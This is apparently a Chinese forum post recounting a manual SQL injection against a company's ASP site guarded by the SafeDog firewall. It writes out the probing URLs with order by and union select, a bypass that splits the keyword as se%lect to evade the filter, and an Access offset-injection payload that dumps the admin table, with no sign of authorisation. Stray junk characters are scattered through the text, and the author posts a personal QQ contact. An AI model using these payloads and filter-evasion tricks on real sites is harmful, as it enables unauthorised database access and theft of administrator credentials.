一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
9 f9 R0 Z5 a& X7 c​
' w/ {3 R5 m! d; a
顺手加个admin
​
+ Y% N0 F( X3 N- C' |
默认后台。
5 \8 l6 b- F1 o回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​

! ^1 c' T) q& K( Z# D4 h4 `
0 C1 U# l0 a4 u
所以就不用御剑扫了，待会直接封IP。
0 ], p) n6 h/ O$ Z
用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
- l" J4 C& f8 J0 G0 N4 S9 ahttp://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。
- _* Q% j8 B4 _8 y) g2 x3 `
9 H8 [6 {+ V5 P1 [$ r3 a& D5 z接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​


4 @9 n) l3 C* `( m; u4 q
2 [- `. S& w( ~4 V在select中间加个%,se%lect绕过安全狗。
- H- }' F. d: s5 z3 j5 ]- b& ]4 Y​

- N; y$ w# S& i6 z7 @发现存在admin表，然后开始手工猜常用的字段。
纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。

& N2 y  z8 b7 t/ F突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。

科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
" A' v  a& F  v1 s5 f7 E2 rhttp://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
) _) f, H- n: v, [5 s$ y. x好了，敏感内容出显了。​
9 t$ O  D7 f) }4 d" {5 r- _6 m

. k( l+ Q/ p- O0 _& n6 P( B! Y
4 j1 D2 s3 }8 f$ T